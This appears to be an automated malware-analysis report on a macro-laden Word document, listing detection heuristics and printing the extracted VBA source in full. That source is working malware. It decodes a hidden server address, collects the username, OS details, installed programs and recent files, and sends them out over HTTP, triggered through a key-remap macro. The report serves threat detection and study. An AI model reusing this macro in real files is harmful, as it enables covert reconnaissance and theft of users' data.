Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 441908dd27edc1ef…

MALICIOUS

Office (OOXML) / .DOC

56.4 KB Created: 2021-03-02 09:01:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-04-10
MD5: c9f23b6ee1ba97c753892e6c103521d6 SHA-1: a5cab9db413872bb74c5d252537edb521ca01185 SHA-256: 441908dd27edc1effb4d1643d46d85b4750b8a660e75b7bbb4c81f2a143959d6
310 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/setting.xml.yml)
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    On Error Resume Next
Set WSHShell = CreateObject("Wscript.shell")
WSHShell.Run strCmd, 0, False
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next
Set WSHShell = CreateObject("Wscript.shell")
WSHShell.Run strCmd, 0, False
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
Set WSHShell = CreateObject("Wscript.shell")
WSHShell.Run strCmd, 0, False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
On Error Resume Next
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///F:\Windows\development\Word Macro\tot\3.png
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 21659 bytes
SHA-256: f355f5baaa91f4970986b70ca2843cd09ad30e1075f428653baf913ccfbaf9d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Dim bTrigger   As Integer

Function aaaaaaaaaaaa(ByVal InputStr)
     Const ConstStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin
  
     InputStr = Replace(InputStr, vbCrLf, "")
     InputStr = Replace(InputStr, vbTab, "")
     InputStr = Replace(InputStr, " ", "")
     dataLength = Len(InputStr)
     
     For groupBegin = 1 To dataLength Step 4
          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
          numDataBytes = 3
          nGroup = 0
        
          For CharCounter = 0 To 3
               thisChar = Mid(InputStr, groupBegin + CharCounter, 1)
            
               If thisChar = "=" Then
                    numDataBytes = numDataBytes - 1
                    thisData = 0
               Else
                    thisData = InStr(1, ConstStr, thisChar, vbBinaryCompare) - 1
               End If
  
               If thisData = -1 Then

                    Exit Function
               End If
            
               nGroup = 64 * nGroup + thisData
          Next
          nGroup = Hex(nGroup)
          nGroup = String(6 - Len(nGroup), "0") & nGroup
          pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))
          sOut = sOut & Left(pOut, numDataBytes)
     Next
     aaaaaaaaaaaa = sOut
End Function


Function List_subfolder_structure(FolderPath As String) As String
    
    On Error Resume Next
    Dim number_of_files As Integer
    Dim file_count As Integer
    Dim file_name As String
    Dim level_count As Integer
    Dim file_Path As String
    List = ""
    number_of_files = 0
    level_count = 0
     
    file_name = Dir(FolderPath & "*.*", vbDirectory)
    Dim fileType As String
    Do While ((file_name) <> "")
        If ((file_name <> ".") And (file_name <> "..")) Then
            List = List + " - " + file_name
        End If
        number_of_files = number_of_files + 1
        file_name = Dir(FolderPath & "*.*", vbDirectory)
        Do While (file_count < number_of_files And file_name <> "")
            file_name = Dir
            file_count = file_count + 1
        Loop
        file_count = 0
    Loop
     List_subfolder_structure = List
End Function

Function GetRecentDocument()

On Error Resume Next
     
     
List = ""

Dim oRecentFile As RecentFile

If RecentFiles.Count >= 1 Then
   
    For Each oRecentFile In RecentFiles
        List = List & oRecentFile.Path & "\" & oRecentFile.Name & " - "
    Next oRecentFile
End If


GetRecentDocument = List

End Function

Function RunCmd(strCmd)
On Error Resume Next
Set WSHShell = CreateObject("Wscript.shell")
WSHShell.Run strCmd, 0, False
End Function


Sub AutoOpen()
On Error Resume Next

bTrigger = 0

End Sub
Function trigger()
 On Error Resume Next
    If (bTrigger = 0) Then
    
  
    If (Application.IsSandboxed <> True) Then
    Version = Application.Version
    uname = Application.UserName
    os = System.OperatingSystem
    sv = System.Version
    x64 = List_subfolder_structure(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXNcXA"))
    x86 = List_subfolder_structure(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXA"))
    recent = GetRecentDocument
    server = aaaaaaaaaaaa("aHR0cDovL2V1Y2llMDkxMTEubXlhcnRzb25saW5lLmNvbS8wNTAyL3YucGhw")
    who = "me"
    drl = server & "?w=" & who & "&x64=" & x64 & "&x86=" & x86 & "&r=" & recent & "&msv=" & Version & "&un=" & uname & "&os=" & os & "&sv=" & sv

    Dim WinHttpReq
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", drl, False
    WinHttpReq.Send

    End If
    bTrigger = 1
    End If
End Function


Sub Macro_a()
Attribute Macro_a.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_a"

    Selection.TypeText Text:="a"
   
   
End Sub
Sub Macro_b()
Attribute Macro_b.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_b"
'
' Macro_b Macro
'
'

    Selection.TypeText Text:="b"
End Sub
Sub Macro_c()
Attribute Macro_c.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_c"
'
' Macro_c Macro
'
'
    Selection.TypeText Text:="c"
End Sub
Sub Macro_d()
Attribute Macro_d.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_d"
'
' Macro_d Macro
'
'
    Selection.TypeText Text:="d"
End Sub
Sub Macro_e()
Attribute Macro_e.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_e"
'
' Macro_e Macro
'
'
    Selection.TypeText Text:="e"
End Sub
Sub Macro_f()
Attribute Macro_f.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_f"
'
' Macro_f Macro
'
'
    Selection.TypeText Text:="f"
End Sub
Sub Macro_i()
Attribute Macro_i.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_i"
'
' Macro_i Macro
'
'
    Selection.TypeText Text:="i"
End Sub
Sub Macro_j()
Attribute Macro_j.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_j"
'
' Macro_j Macro
'
'
    Selection.TypeText Text:="j"
End Sub
Sub Macro_k()
Attribute Macro_k.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_k"
'
' Macro_k Macro
'
'
    Selection.TypeText Text:="k"
End Sub
Sub Macro_l()
Attribute Macro_l.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_l"
'
' Macro_l Macro
'
'
    Selection.TypeText Text:="l"
End Sub
Sub Macro_m()
Attribute Macro_m.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_m"
'
' Macro_m Macro
'
'
    Selection.TypeText Text:="m"
End Sub
Sub Macro_n()
Attribute Macro_n.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_n"
'
' Macro_n Macro
'
'
    Selection.TypeText Text:="n"
End Sub
Sub Macro_o()
Attribute Macro_o.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_o"
'
' Macro_o Macro
'
'
    Selection.TypeText Text:="o"
End Sub
Sub Macro_p()
Attribute Macro_p.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_p"
'
' Macro_p Macro
'
'
    Selection.TypeText Text:="p"
End Sub
Sub Macro_q()
Attribute Macro_q.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_q"
'
' Macro_q Macro
'
'
    Selection.TypeText Text:="q"
End Sub
Sub Macro_r()
Attribute Macro_r.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_r"
'
' Macro_r Macro
'
'
    Selection.TypeText Text:="r"
End Sub
Sub Macro_t()
Attribute Macro_t.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_t"
'
' Macro_t Macro
'
'
    Selection.TypeText Text:="t"
End Sub
Sub Macro_u()
Attribute Macro_u.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_u"
'
' Macro_u Macro
'
'
    Selection.TypeText Text:="u"
End Sub
Sub Macro_v()
Attribute Macro_v.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_v"
'
' Macro_v Macro
'
'
    Selection.TypeText Text:="v"
End Sub
Sub Macro_w()
Attribute Macro_w.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_w"
'
' Macro_w Macro
'
'
    Selection.TypeText Text:="w"
End Sub
Sub Macro_y()
Attribute Macro_y.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_y"
'
' Macro_y Macro
'
'
    Selection.TypeText Text:="y"
End Sub
Sub Macro_z()
Attribute Macro_z.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_z"
'
' Macro_z Macro
'
'
    Selection.TypeText Text:="z"
End Sub
Sub Macro_h()
Attribute Macro_h.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_h"
'
' Macro_h Macro
'
'
    Selection.TypeText Text:="h"
End Sub
Sub Macro_x()
Attribute Macro_x.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_x"
'
' Macro_x Macro
'
'
    Selection.TypeText Text:="x"
End Sub
Sub Macro_g()
Attribute Macro_g.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_g"
'
' Macro_g Macro
'
'
    Selection.TypeText Text:="g"
End Sub
Sub Macro_1()
Attribute Macro_1.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_1"
'
' Macro_1 Macro
'
'
    Selection.TypeText Text:="1"
End Sub
Sub Macro_2()
Attribute Macro_2.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_2"
'
' Macro_2 Macro
'
'
    Selection.TypeText Text:="2"
End Sub
Sub Macro_3()
Attribute Macro_3.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_3"
'
' Macro_3 Macro
'
'
    Selection.TypeText Text:="3"
End Sub
Sub Macro_4()
Attribute Macro_4.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_4"
'
' Macro_4 Macro
'
'
    Selection.TypeText Text:="4"
End Sub
Sub Macro_5()
Attribute Macro_5.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_5"
'
' Macro_5 Macro
'
'
    Selection.TypeText Text:="5"
End Sub
Sub Macro_6()
Attribute Macro_6.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_6"
'
' Macro_6 Macro
'
'
    Selection.TypeText Text:="6"
End Sub
Sub Macro_7()
Attribute Macro_7.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_7"
'
' Macro_7 Macro
'
'
    Selection.TypeText Text:="7"
End Sub
Sub Macro_8()
Attribute Macro_8.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_8"
'
' Macro_8 Macro
'
'
    Selection.TypeText Text:="8"
End Sub
Sub Macro_9()
Attribute Macro_9.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_9"
'
' Macro_9 Macro
'
'
    Selection.TypeText Text:="9"
End Sub
Sub Macro_0()
Attribute Macro_0.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_0"
'
' Macro_0 Macro
'
'
    Selection.TypeText Text:="0"
End Sub
Sub Macro_minuse()
Attribute Macro_minuse.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_minuse"
'
' Macro_minuse Macro
'
'
    Selection.TypeText Text:="-"
End Sub
Sub Macro_plus()
Attribute Macro_plus.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_plus"
'
' Macro_plus Macro
'
'
    Selection.TypeText Text:="="
End Sub
Sub Macro_BS()
Attribute Macro_BS.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_BS"
'
' Macro_BS Macro
'
'
    Selection.TypeBackspace
    trigger
End Sub
Sub Macro_LBracket()
Attribute Macro_LBracket.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_LBracket"
'
' Macro_LBracket Macro
'
'
    Selection.TypeText Text:="["
End Sub
Sub Macro_RBracket()
Attribute Macro_RBracket.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_RBracket"
'
' Macro_RBracket Macro
'
'
    Selection.TypeText Text:="]"
End Sub
Sub Macro_BB()
Attribute Macro_BB.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_BB"
'
' Macro_BB Macro
'
'
    Selection.TypeText Text:="B"
End Sub
Sub Macro_DD()
Attribute Macro_DD.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_DD"
'
' Macro_DD Macro
'
'
    Selection.TypeText Text:="D"
End Sub
Sub Macro_EE()
Attribute Macro_EE.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_EE"
'
' Macro_EE Macro
'
'
    Selection.TypeText Text:="E"
End Sub
Sub Macro_FF()
Attribute Macro_FF.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_FF"
'
' Macro_FF Macro
'
'
    Selection.TypeText Text:="F"
End Sub
Sub Macro_GG()
Attribute Macro_GG.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_GG"
'
' Macro_GG Macro
'
'
    Selection.TypeText Text:="G"
End Sub
Sub Macro_HH()
Attribute Macro_HH.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_HH"
'
' Macro_HH Macro
'
'
    Selection.TypeText Text:="H"
End Sub
Sub Macro_II()
Attribute Macro_II.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_II"
'
' Macro_II Macro
'
'
    Selection.TypeText Text:="I"
End Sub
Sub Macro_JJ()
Attribute Macro_JJ.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_JJ"
'
' Macro_JJ Macro
'
'
    Selection.TypeText Text:="J"
End Sub
Sub Macro_KK()
Attribute Macro_KK.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_KK"
'
' Macro_KK Macro
'
'
    Selection.TypeText Text:="K"
End Sub
Sub Macro_LL()
Attribute Macro_LL.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_LL"
'
' Macro_LL Macro
'
'
    Selection.TypeText Text:="L"
End Sub
Sub Macro_MM()
Attribute Macro_MM.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_MM"
'
' Macro_MM Macro
'
'
    Selection.TypeText Text:="M"
End Sub
Sub Macro_NN()
Attribute Macro_NN.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_NN"
'
' Macro_NN Macro
'
'
    Selection.TypeText Text:="N"
End Sub
Sub Macro_PP()
Attribute Macro_PP.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_PP"
'
' Macro_PP Macro
'
'
    Selection.TypeText Text:="P"
End Sub
Sub Macro_QQ()
Attribute Macro_QQ.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_QQ"
'
' Macro_QQ Macro
'
'
    Selection.TypeText Text:="Q"
End Sub
Sub Macro_RR()
Attribute Macro_RR.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_RR"
'
' Macro_RR Macro
'
'
    Selection.TypeText Text:="R"
End Sub
Sub Macro_SS()
Attribute Macro_SS.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_SS"
'
' Macro_SS Macro
'
'
    Selection.TypeText Text:="S"
End Sub
Sub Macro_TT()
Attribute Macro_TT.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_TT"
'
' Macro_TT Macro
'
'
    Selection.TypeText Text:="T"
End Sub
Sub Macro_UU()
Attribute Macro_UU.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_UU"
'
' Macro_UU Macro
'
'
    Selection.TypeText Text:="U"
End Sub
Sub Macro_VV()
Attribute Macro_VV.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_VV"
'
' Macro_VV Macro
'
'
    Selection.TypeText Text:="V"
End Sub
Sub Macro_WW()
Attribute Macro_WW.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_WW"
'
' Macro_WW Macro
'
'
    Selection.TypeText Text:="W"
End Sub
Sub Macro_XX()
Attribute Macro_XX.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_XX"
'
' Macro_XX Macro
'
'
    Selection.TypeText Text:="X"
End Sub
Sub Macro_YY()
Attribute Macro_YY.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_YY"
'
' Macro_YY Macro
'
'
    Selection.TypeText Text:="Y"
End Sub
Sub Macro_ZZ()
Attribute Macro_ZZ.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_ZZ"
'
' Macro_ZZ Macro
'
'
    Selection.TypeText Text:="Z"
End Sub
Sub Macro_AA()
Attribute Macro_AA.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_AA"
'
' Macro_AA Macro
'
'
    Selection.TypeText Text:="A"
End Sub
Sub Macro_OO()
Attribute Macro_OO.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_OO"
'
' Macro_OO Macro
'
'
    Selection.TypeText Text:="O"
End Sub
Sub Macro_slash()
Attribute Macro_slash.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_slash"
'
' Macro_slash Macro
'
'
    Selection.TypeText Text:="\"
End Sub
Sub Macro_quato()
Attribute Macro_quato.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_quato"
'
' Macro_quato Macro
'
'
    Selection.TypeText Text:=";"
End Sub
Sub Macro_taum()
Attribute Macro_taum.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_taum"
'
' Macro_taum Macro
'
'
    Selection.TypeText Text:="'"
End Sub
Sub Macro_comma()
Attribute Macro_comma.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_comma"
'
' Macro_comma Macro
'
'
    Selection.TypeText Text:=","
End Sub
Sub Macro_dot()
Attribute Macro_dot.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_dot"
'
' Macro_dot Macro
'
'
    Selection.TypeText Text:="."
End Sub
Sub Macro_bslash()
Attribute Macro_bslash.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_bslash"
'
' Macro_bslash Macro
'
'
    Selection.TypeText Text:="/"
End Sub
Sub Macro_s2()
Attribute Macro_s2.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s2"
'
' Macro_s2 Macro
'
'
    Selection.TypeText Text:="@"
End Sub
Sub Macro_s3()
Attribute Macro_s3.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s3"
'
' Macro_s3 Macro
'
'
    Selection.TypeText Text:="#"
End Sub
Sub Macro_s4()
Attribute Macro_s4.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s4"
'
' Macro_s4 Macro
'
'
    Selection.TypeText Text:="$"
End Sub
Sub Macro_s5()
Attribute Macro_s5.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s5"
'
' Macro_s5 Macro
'
'
    Selection.TypeText Text:="%"
End Sub
Sub Macro_s6()
Attribute Macro_s6.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s6"
'
' Macro_s6 Macro
'
'
    Selection.TypeText Text:="^"
End Sub
Sub Macro_s7()
Attribute Macro_s7.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s7"
'
' Macro_s7 Macro
'
'
    Selection.TypeText Text:="&"
End Sub
Sub Macro_s8()
Attribute Macro_s8.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s8"
'
' Macro_s8 Macro
'
'
    Selection.TypeText Text:="*"
End Sub
Sub Macro_s9()
Attribute Macro_s9.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s9"
'
' Macro_s9 Macro
'
'
    Selection.TypeText Text:="("
End Sub
Sub Macro_s0()
Attribute Macro_s0.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s0"
'
' Macro_s0 Macro
'
'
    Selection.TypeText Text:=")"
End Sub
Sub Macro_s_minuse()
Attribute Macro_s_minuse.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_minuse"
'
' Macro_s_minuse Macro
'
'
    Selection.TypeText Text:="_"
    Application.Run MacroName:="Project.NewMacros.Macro_BS"
    Application.Run MacroName:="Project.NewMacros.Macro_minuse"
    Application.Run MacroName:="Project.NewMacros.Macro_BS"
    Selection.TypeText Text:="_"
End Sub
Sub Macro_s_equal()
Attribute Macro_s_equal.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_equal"
'
' Macro_s_equal Macro
'
'
    Selection.TypeText Text:="+"
End Sub
Sub Macro_s_Lbracket()
Attribute Macro_s_Lbracket.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_Lbracket"
'
' Macro_s_Lbracket Macro
'
'
    Selection.TypeText Text:="{"
End Sub
Sub Macro_s_RBracket()
Attribute Macro_s_RBracket.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_RBracket"
'
' Macro_s_RBracket Macro
'
'
    Selection.TypeText Text:="}"
End Sub
Sub Macro_s_slash()
Attribute Macro_s_slash.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_slash"
'
' Macro_s_slash Macro
'
'
    Selection.TypeText Text:="|"
End Sub
Sub Macro_s_quato()
Attribute Macro_s_quato.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_quato"
'
' Macro_s_quato Macro
'
'
    Selection.TypeText Text:=":"
End Sub
Sub Macro_s_taum()
Attribute Macro_s_taum.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_taum"
'
' Macro_s_taum Macro
'
'
    Selection.TypeText Text:=""""
End Sub
Sub Macro_s_comma()
Attribute Macro_s_comma.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_comma"
'
' Macro_s_comma Macro
'
'
    Selection.TypeText Text:="<"
End Sub
Sub Macro_s_dot()
Attribute Macro_s_dot.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_dot"
'
' Macro_s_dot Macro
'
'
    Selection.TypeText Text:=">"
End Sub
Sub Macro_s_bsalsh()
Attribute Macro_s_bsalsh.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s_bsalsh"
'
' Macro_s_bsalsh Macro
'
'
    Selection.TypeText Text:="?"
End Sub
Sub Macro_s()
Attribute Macro_s.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s"
'
' Macro_s Macro
'
'
    Selection.TypeText Text:="s"
End Sub
Sub Macro_s1()
Attribute Macro_s1.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_s1"
'
' Macro_s1 Macro
'
'
    Selection.TypeText Text:="!"
End Sub
Sub Macro_sc()
Attribute Macro_sc.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_sc"
'
' Macro_sc Macro
'
'
End Sub
Sub Macro_CC()
Attribute Macro_CC.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_CC"
'
' Macro_CC Macro
'
'
    Selection.TypeText Text:="C"
End Sub
Sub Macro_del()
Attribute Macro_del.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_del"
'
' Macro_del Macro
'
'
    Selection.Delete Unit:=wdCharacter, Count:=1
End Sub
Sub Macro_home()
Attribute Macro_home.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_home"
'
' Macro_home Macro
'
'
    Selection.HomeKey Unit:=wdLine
End Sub
Sub Macro_end()
Attribute Macro_end.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_end"
'
' Macro_end Macro
'
'
    Selection.EndKey Unit:=wdLine
End Sub
Sub Macro_pageup()
Attribute Macro_pageup.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_pageup"
'
' Macro_pageup Macro
'
'
    Selection.MoveUp Unit:=wdScreen, Count:=1
End Sub
Sub Macro_up()
Attribute Macro_up.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_up"
'
' Macro_up Macro
'
'
    Selection.MoveUp Unit:=wdLine, Count:=1
End Sub
Sub Macro_down()
Attribute Macro_down.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_down"
'
' Macro_down Macro
'
'
    Selection.MoveDown Unit:=wdLine, Count:=1
End Sub
Sub Macro_left()
Attribute Macro_left.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_left"
'
' Macro_left Macro
'
'
    Selection.MoveLeft Unit:=wdCharacter, Count:=1
End Sub
Sub Macro_right()
Attribute Macro_right.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_right"
'
' Macro_right Macro
'
'
    Selection.MoveRight Unit:=wdCharacter, Count:=1
End Sub
Sub Macro_pagedown()
Attribute Macro_pagedown.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro_pagedown"
'
' Macro_pagedown Macro
'
'
    Selection.MoveDown Unit:=wdScreen, Count:=1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/setting.xml.yml 97792 bytes
SHA-256: acae5aa4976b32c48b60b922bb7ab93e130da69dd448af3810ca6695c29e154c

Open this report in the interactive analyzer, or submit your own file for analysis.